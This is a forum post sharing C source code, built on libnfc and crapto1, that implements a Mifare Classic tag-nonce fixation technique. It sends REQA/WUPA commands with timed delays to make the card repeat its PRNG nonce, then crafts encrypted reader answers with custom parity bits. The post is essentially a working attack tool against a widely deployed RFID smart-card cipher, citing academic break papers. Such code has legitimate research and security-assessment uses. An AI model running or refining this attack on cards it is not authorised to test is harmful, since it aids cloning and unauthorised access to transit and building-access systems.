This is a rough implementation of REQA+WUPA techique to fix a tag nonce. Though it doesn't yield as good results for me as the DROP FIELDS+CONSTANT DELAY (code is here http://www.libnfc.org/community/post/475/#p475)
/*
File:
zv_fixtagnonce_reqawupa.c
Name:
Mifare Classic TagNonce-fixation technique REQA+WUPA test
Description:
Implementing TagNonce-fixation demo by using 7 bits 0x26 REQA then 0x52 WUPA commands.
For me, does not yield as good results as DROP FIELDS+CONSTANT DELAY.
Contact:
http://andreicostin.com/
mailto:zveriu@gmail.com
Requirements:
crapto1 library (http://code.google.com/p/crapto1)
libnfc (http://www.libnfc.org)
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
/*
// zveriu
BIBLIOGRPAHY (no specific order)
1. [WPMCC09] - "Wirelessly Pickpocketing a Mifare Classic Card"
2. [ESO08] - "2008-esorics.pdf"
3. [ESOSL08] - "2008-esorics-slides-updated.pdf"
4. [KON08] - "2008-koning-thesis.pdf"
5. [VER08] - "2008-verdult-thesis.pdf"
6. [PATMC] - "A Practical Attack on the MIFARE Classic.pdf"
7. [NCOURFIDSEC09] - "mifare_courtois_rfidsec09.pdf"
8. [MFCLTRB09] - "MifareClassicTroubles.ppt"
9. [TEEP08] - "p2008-teepe-classic_mistakes.pdf"
10. [RFIDSANJ] - "RFID Attacks_WCA_San_Jose.pdf"
11. [ROSS] - "rossum-mifare.pdf"
12. [PLOTZ08] - "SAR-PR-2008-21_.pdf"
13. [ROSSSASG] - "SASG35_Peter_v_Rossum_Mifare.pdf"
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "libnfc.h"
#include "crapto1.h"
#define NOMINMAX
#include "windows.h"
LARGE_INTEGER nFreq;
LARGE_INTEGER nBeginTime;
LARGE_INTEGER nEndTime;
int execution_time = 0;
double g_exec_time = 0;
long long ll_exec_time = 0;
// ISO14443A Anti-Collision Commands
byte_t abtReqa [1] = { 0x26 };
byte_t abtSelectAll [2] = { 0x93,0x20 };
byte_t abtSelectTag [9] = { 0x93,0x70,0x00,0x00,0x00,0x00,0x00,0x00,0x00 };
byte_t abtRats [4] = { 0xe0,0x50,0xbc,0xa5 };
byte_t abtHalt [4] = { 0x50,0x00,0x57,0xcd };
byte_t abtWupa [1] = { 0x52 };
static byte_t abtRx[MAX_FRAME_LEN];
static uint32_t uiRxBits;
static uint32_t uiRxLen;
static byte_t abtUid[10];
static uint32_t uiUidLen = 4;
static byte_t firstTime = 1;
static uint32_t ntPrev;
static int estimatedSleep = 0;
//static dev_info* pdi;
#define NONCE_VARIANCE 65535
#define NONCE_PERIOD ((9.44f * NONCE_VARIANCE)/1000)
bool transmit_bits(dev_info* pdi, const byte_t* pbtTx, const uint32_t uiTxBits)
{
// Show transmitted command
printf("R: "); print_hex_bits(pbtTx,uiTxBits);
// Transmit the bit frame command, we don't use the arbitrary parity feature
if (!nfc_initiator_transceive_bits(pdi,pbtTx,uiTxBits,NULL,abtRx,&uiRxBits,NULL)) return false;
// Show received answer
printf("T: "); print_hex_bits(abtRx,uiRxBits);
// Succesful transfer
return true;
}
bool transmit_bytes(dev_info* pdi, const byte_t* pbtTx, const uint32_t uiTxLen)
{
// Show transmitted command
printf("R: "); print_hex(pbtTx,uiTxLen);
// Transmit the command bytes
if (!nfc_initiator_transceive_bytes(pdi,pbtTx,uiTxLen,abtRx,&uiRxLen)) return false;
// Show received answer
printf("T: "); print_hex(abtRx,uiRxLen);
// Succesful transfer
return true;
}
bool mifare_test(dev_info* pdi, byte_t* pbtUid, uint64_t ui64Key, uint32_t uiBlock)
{
uint32_t pos, nt;
struct Crypto1State* pcs;
byte_t abtAuth[4] = { 0x60,0x00,0x00,0x00 };
byte_t abtArEnc[8] = { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 };
byte_t abtArEncPar[8] = { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 };
byte_t abtRx[MAX_FRAME_LEN];
byte_t abtRxPar[MAX_FRAME_LEN];
uint32_t uiRxLen;
uint32_t nonceDist;
double tagPeriodTimeDist;
double measuredTimeDist;
// Configure the authentication frame using the supplied block
abtAuth[1] = uiBlock;
append_iso14443a_crc(abtAuth,2);
// Now we take over, first we need full control over the CRC
nfc_configure(pdi,DCO_HANDLE_CRC,false);
//estimatedSleep = 15;
if (estimatedSleep != 0)
{
Sleep(estimatedSleep);
}
// Request plain tag-nonce
printf(" Nt: ");
if (!nfc_initiator_transceive_bytes(pdi,abtAuth,4,abtRx,&uiRxLen)) return false;
print_hex(abtRx,4);
// Save the tag nonce (nt)
nt = swap_endian32(abtRx);
if (!firstTime)
{
ntPrev = swap_endian32(&ntPrev);
printf(" Np: ");
print_hex((const byte_t *)&ntPrev,4);
ntPrev = swap_endian32(&ntPrev);
QueryPerformanceCounter(&nEndTime);
nonceDist = nonce_distance(ntPrev, nt);
measuredTimeDist = (double)(nEndTime.QuadPart - nBeginTime.QuadPart)*1000/(double)(nFreq.QuadPart);
tagPeriodTimeDist = (double)nonceDist/NONCE_VARIANCE*NONCE_PERIOD;
if (measuredTimeDist < NONCE_PERIOD)
{
estimatedSleep = (int)(NONCE_PERIOD - measuredTimeDist);
}
else
{
estimatedSleep = (int)(measuredTimeDist - NONCE_PERIOD);
}
printf("\tNonce distance %d (from %d, to %d)\n", nonceDist, ntPrev, nt);
printf("\tTag-period time distance: %g, Estimated sleep %d\n", tagPeriodTimeDist, estimatedSleep);
printf("\tMeasured time distance: %g\n", measuredTimeDist);
QueryPerformanceCounter(&nBeginTime);
}
else
{
firstTime = 0;
QueryPerformanceCounter(&nBeginTime);
}
ntPrev = nt;
// Init cipher with key
pcs = crypto1_create(ui64Key);
// Load (plain) uid^nt into the cipher
for (pos=0; pos<4; pos++)
{
// Update the cipher with the tag-initialization
crypto1_byte(pcs,pbtUid[pos]^abtRx[pos],0);
}
// Generate (encrypted) nr+parity by loading it into the cipher
for (pos=0; pos<4; pos++)
{
// Load in, and encrypt, the reader nonce (plain nr=0x00000000)
abtArEnc[pos] = crypto1_byte(pcs,0x00,0) ^ 0x00;
// Encrypt the parity bits for the 4 plaintext bytes of nr
abtArEncPar[pos] = filter(pcs->odd) ^ oddparity(0x00);
}
// Skip 32 bits in pseudo random generator
nt = prng_successor(nt,32);
// Generate reader-answer from tag-nonce
for (pos=4; pos<8; pos++)
{
// Get the next random byte for verify the reader to the tag
nt = prng_successor(nt,8);
// Encrypt the reader-answer (nt' = suc2(nt))
abtArEnc[pos] = crypto1_byte(pcs,0x00,0) ^ (nt&0xff);
// Encrypt the parity bits for the 4 plaintext bytes of nt'
abtArEncPar[pos] = filter(pcs->odd) ^ oddparity(nt&0xff);
}
// Finally we want to send arbitrary parity bits
nfc_configure(pdi,DCO_HANDLE_PARITY,false);
// Transmit reader-answer
printf(" Ar: ");
print_hex_par(abtArEnc,64,abtArEncPar);
if (!nfc_initiator_transceive_bits(pdi,abtArEnc,64,abtArEncPar,abtRx,&uiRxLen,abtRxPar)) return false;
printf(" At: ");
print_hex_par(abtRx,uiRxLen,abtRxPar);
crypto1_destroy(pcs);
return true;
}
int main(int argc, const char* argv[])
{
dev_info* pdi;
tag_info ti;
uint32_t uiBlock;
uint64_t ui64Key;
// zveriu
uint32_t uiUID = 0;
byte_t arrUID[4];
QueryPerformanceFrequency(&nFreq);
if (argc < 3)
{
printf("syntax: %s <key> <block>\n",argv[0]);
return 1;
}
sscanf(argv[1],"%012llx",&ui64Key);
sscanf(argv[2],"%02x",&uiBlock);
// Try to open the NFC reader
pdi = nfc_connect(NULL);
if (pdi == INVALID_DEVICE_INFO)
{
printf("Error connecting NFC reader\n");
return 1;
}
nfc_initiator_init(pdi);
// Drop the field for a while, so the card can reset
nfc_configure(pdi,DCO_ACTIVATE_FIELD,false);
// Let the reader only try once to find a tag
nfc_configure(pdi,DCO_INFINITE_SELECT,false);
// Configure the CRC and Parity settings
//nfc_configure(pdi,DCO_HANDLE_CRC,true);
//nfc_configure(pdi,DCO_HANDLE_PARITY,true);
// Enable field so more power consuming cards can power themselves up
//nfc_configure(pdi,DCO_ACTIVATE_FIELD,true);
printf("\nConnected to NFC reader: %s\n\n",pdi->acName);
while(1)
{
if (!uiUID)
{
/*
// Poll for a ISO14443A (MIFARE) tag
if (!nfc_initiator_select_tag(pdi,IM_ISO14443A_106,NULL,0,&ti))
{
printf("Error connecting to MIFARE Classic tag\n");
nfc_disconnect(pdi);
return 1;
}
*/
// Configure the CRC and Parity settings
nfc_configure(pdi,DCO_HANDLE_CRC,false);
nfc_configure(pdi,DCO_HANDLE_PARITY,true);
//Sleep(309);
// Enable field so more power consuming cards can power themselves up
nfc_configure(pdi,DCO_ACTIVATE_FIELD,true);
// Send the 7 bits request command specified in ISO 14443A (0x26)
if (!transmit_bits(pdi, abtReqa,7))
{
printf("Error: REQA No tag available\n");
continue;
//nfc_disconnect(pdi);
//return 1;
}
// Anti-collision
transmit_bytes(pdi, abtSelectAll,2);
// Save the UID
memcpy(abtUid,abtRx,4);
memcpy(abtSelectTag+2,abtRx,5);
append_iso14443a_crc(abtSelectTag,7);
transmit_bytes(pdi, abtSelectTag,9);
// zveriu
arrUID[0] = abtUid[0];
arrUID[1] = abtUid[1];
arrUID[2] = abtUid[2];
arrUID[3] = abtUid[3];
uiUID = swap_endian32(arrUID);
}
else
{
// Poll for a ISO14443A (MIFARE) tag
/*
if (!nfc_initiator_select_tag(pdi,IM_ISO14443A_106,arrUID,4,&ti))
{
printf("Error connecting to MIFARE Classic tag\n");
nfc_disconnect(pdi);
return 1;
}*/
// Configure the CRC and Parity settings
nfc_configure(pdi,DCO_HANDLE_CRC,false);
nfc_configure(pdi,DCO_HANDLE_PARITY,true);
// Send the 7 bits request command specified in ISO 14443A (0x52)
if (!transmit_bits(pdi, abtWupa,7))
{
printf("Error: WUPA No tag available\n");
continue;
//nfc_disconnect(pdi);
//return 1;
}
transmit_bytes(pdi, abtSelectTag,9);
}
// Print the uid to the screen
//printf(" uid: %08x\n",swap_endian32(ti.tia.abtUid));
printf(" uid: %08x\n", uiUID);
printf(" key: %012llx\n",ui64Key);
printf(" block: %02x\n",uiBlock);
printf("\n");
// Run the MIFARE Classic test
if (mifare_test(pdi,arrUID,ui64Key,uiBlock))
{
printf("\nAuthentication Succesful\n\n");
} else {
printf("\nAuthentication failed\n");
}
// Done, halt the tag now
transmit_bytes(pdi, abtHalt,4);
// Reset the "advanced" configuration to normal
nfc_configure(pdi,DCO_HANDLE_CRC,true);
nfc_configure(pdi,DCO_HANDLE_PARITY,true);
//Sleep(309);
}
// Clean up and release device
nfc_disconnect(pdi);
return 0;
}
Hope the code is useful for someone.